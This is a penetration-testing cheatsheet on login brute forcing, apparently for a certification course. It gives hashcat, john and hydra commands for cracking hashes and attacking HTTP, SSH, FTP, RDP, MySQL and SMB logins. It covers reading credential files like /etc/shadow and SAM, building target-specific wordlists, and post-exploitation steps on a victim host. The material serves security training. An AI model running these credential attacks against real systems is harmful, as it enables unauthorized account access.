Post

CWES Cheatsheet — Login Brute Forcing

CWES Cheatsheet — Login Brute Forcing

brute forcing logins is about throwing credentials at a target systematically. pair it with good wordlists and know when to crack hashes offline vs attack live services.


password hash files

linux

FileWhat’s InsideHow to Get
/etc/passwdusernames, UID, home dir, shell – NO passwordsLFI, any file read
/etc/shadowpassword hashes (need root to read)privilege escalation, LFI as root
/etc/shadow.bakbackup of shadow filesame as above
1
2
3
4
5
6
7
8
9
# /etc/passwd format:
root:x:0:0:root:/root:/bin/bash
# username:x:UID:GID:info:home:shell
# x means password is in /etc/shadow

# /etc/shadow format:
root:$6$abc123$longhashhere:19000:0:99999:7:::
# username:$hash_type$salt$hash:last_changed:...
# $6$ = SHA-512, $5$ = SHA-256, $1$ = MD5, $y$ = yescrypt

windows

FileWhat’s InsideHow to Get
SAMlocal user password hashesneed SYSTEM access
unattend.xmlplaintext or base64 passwords from setupLFI, file read
sysprep.infdeployment passwordsLFI, file read
web.configconnection strings with DB passwordsLFI, file read

crack hashes with hashcat

1
2
3
4
5
6
7
8
9
10
11
12
# identify hash type
hashid '$6$abc123$longhash'
# or
hash-identifier

# crack Linux shadow hash
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt    # SHA-512
hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt     # MD5
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt    # NTLM (Windows)

# crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

password hash enumeration

files that can contain hashed passwords for offline brute-forcing:

WindowsLinux
unattend.xmlshadow
sysprep.infshadow.bak
SAMpassword / passwd

hydra

hydra flags explained

FlagMeaningExample
-lsingle username-l admin
-Lusername wordlist-L users.txt
-psingle password-p password123
-Ppassword wordlist-P rockyou.txt
-Ccombined user:pass wordlist-C defaults.txt
-fstop after first valid login foundalways use this
-utry each password for all users before next passwordavoids lockouts
-scustom port-s 8080
-tthreads (parallel connections)-t 4 for SSH (keep low)
-Vverbose – show every attemptfor debugging
-osave results to file-o results.txt

always use -f to stop when found. use -u to loop through users first (avoids account lockout). keep -t 4 for SSH/FTP (too many threads = connection errors).


hydra for every service

HTTP basic auth (popup login box)

1
2
3
4
5
6
# combined wordlist (user:pass format)
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \
  TARGET_IP -s PORT http-get /

# separate user and pass lists
hydra -L users.txt -P passwords.txt -u -f TARGET_IP -s PORT http-get /

HTTP POST login form

1
2
3
4
5
6
7
8
# step 1: capture login request in Burp to find:
#   - URL path: /login.php
#   - POST parameters: username=admin&password=test
#   - failure indicator: "Invalid credentials" or <form name='login'

# step 2: build hydra command
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f TARGET_IP -s PORT \
  http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"

HTTP POST with cookie/header

1
2
3
4
5
6
7
# with session cookie
hydra -l admin -P passwords.txt -f TARGET_IP -s PORT \
  http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: PHPSESSID=abc123"

# with custom header
hydra -l admin -P passwords.txt -f TARGET_IP -s PORT \
  http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid:H=X-Forwarded-For: 127.0.0.1"

SSH

1
2
hydra -l username -P /usr/share/wordlists/rockyou.txt -f -t 4 ssh://TARGET_IP:PORT
hydra -L users.txt -P passwords.txt -u -f -t 4 ssh://TARGET_IP:PORT

FTP

1
2
hydra -l username -P /usr/share/wordlists/rockyou.txt -f ftp://TARGET_IP
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://TARGET_IP

RDP

1
hydra -l administrator -P passwords.txt -f rdp://TARGET_IP

MySQL

1
hydra -l root -P passwords.txt -f mysql://TARGET_IP

SMB

1
hydra -l administrator -P passwords.txt -f smb://TARGET_IP

hydra command reference

CommandDescription
hydra -hhydra help
hydra -C wordlist.txt SERVER_IP -s PORT http-get /basic auth brute force - combined wordlist
hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get /basic auth brute force - user/pass wordlists
hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"login form brute force - static user, pass wordlist
hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4SSH brute force - user/pass wordlists
hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1FTP brute force - static user, pass wordlist

wordlists

password wordlists

WordlistSizeUse
/usr/share/wordlists/rockyou.txt14M linesmain brute force wordlist
/usr/share/seclists/Passwords/Leaked-Databases/rockyou-10.txt92 linesquick test – most common 92 passwords
/usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt9,437 linesmedium test
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txtcombined user:passFTP/service default creds
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.txtcombined user:passgeneral default creds
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt1000 linesfast brute force

username wordlists

WordlistUse
/usr/share/seclists/Usernames/Names/names.txtcommon first names
/usr/share/seclists/Usernames/top-usernames-shortlist.txttop 17 usernames (admin, root, test…)
/usr/share/seclists/Usernames/cirt-default-usernames.txtdefault service usernames

personalized wordlists

step 1: generate with CUPP

1
2
3
4
5
# interactive mode -- asks questions about the target
cupp -i

# enter: first name, last name, birthday, partner name, pet name, etc.
# CUPP generates passwords like: William1990!, bill2024, Gates123

step 2: generate username variations

1
2
3
4
5
6
7
# install username-anarchy
git clone https://github.com/urbanadventurer/username-anarchy.git

# generate all possible username formats
./username-anarchy/username-anarchy Bill Gates > usernames.txt

# outputs: bgates, b.gates, bill.gates, gatesb, gates.bill, etc.

step 3: filter to match password policy

1
2
3
4
5
6
7
8
# remove passwords shorter than 8 characters
sed -ri '/^.{,7}$/d' passwords.txt

# remove passwords without special characters
sed -ri '/[!-/:-@\[-`\{-~]+/!d' passwords.txt

# remove passwords without numbers
sed -ri '/[0-9]+/!d' passwords.txt

step 4: combine into hydra attack

1
2
hydra -L usernames.txt -P passwords.txt -u -f TARGET_IP -s PORT \
  http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"

personalized wordlist command reference

| Command | Description | |—|—| | cupp -i | creating custom password wordlist | | sed -ri '/^.{,7}$/d' william.txt | remove passwords shorter than 8 | | sed -ri '/[!-/:-@\[-{-~]+/!d’ william.txt | remove passwords with no special chars | | sed -ri ‘/[0-9]+/!d’ william.txt | remove passwords with no numbers | | ./username-anarchy Bill Gates > bill.txt` | generate usernames list |


default passwords

it is very common to find pairs of usernames and passwords used together, especially when default service passwords are kept unchanged.

default passwords - login brute force POST form:

1
2
3
4
hydra -L /usr/share/seclists/Usernames/Names/names.txt \
  -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-10.txt \
  -f 83.136.251.168 -s 52278 \
  http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"

useful post-exploitation commands

CommandDescription
ssh b.gates@SERVER_IP -p PORTSSH to server
ftp 127.0.0.1FTP to server
su - userswitch to user
netstat -antp \| grep -i listidentify internal network services and their ports running on the local victim machine
scp -P 53718 ./william.txt b.gates@83.136.251.221:/tmpuse SCP to copy files to target
hydra -l m.gates -P /tmp/william.txt ftp://127.0.0.1use hydra on the victim locally to identify password of user against internal FTP service

← Back to CWES Cheatsheet Index

This post is licensed under CC BY 4.0 by the author.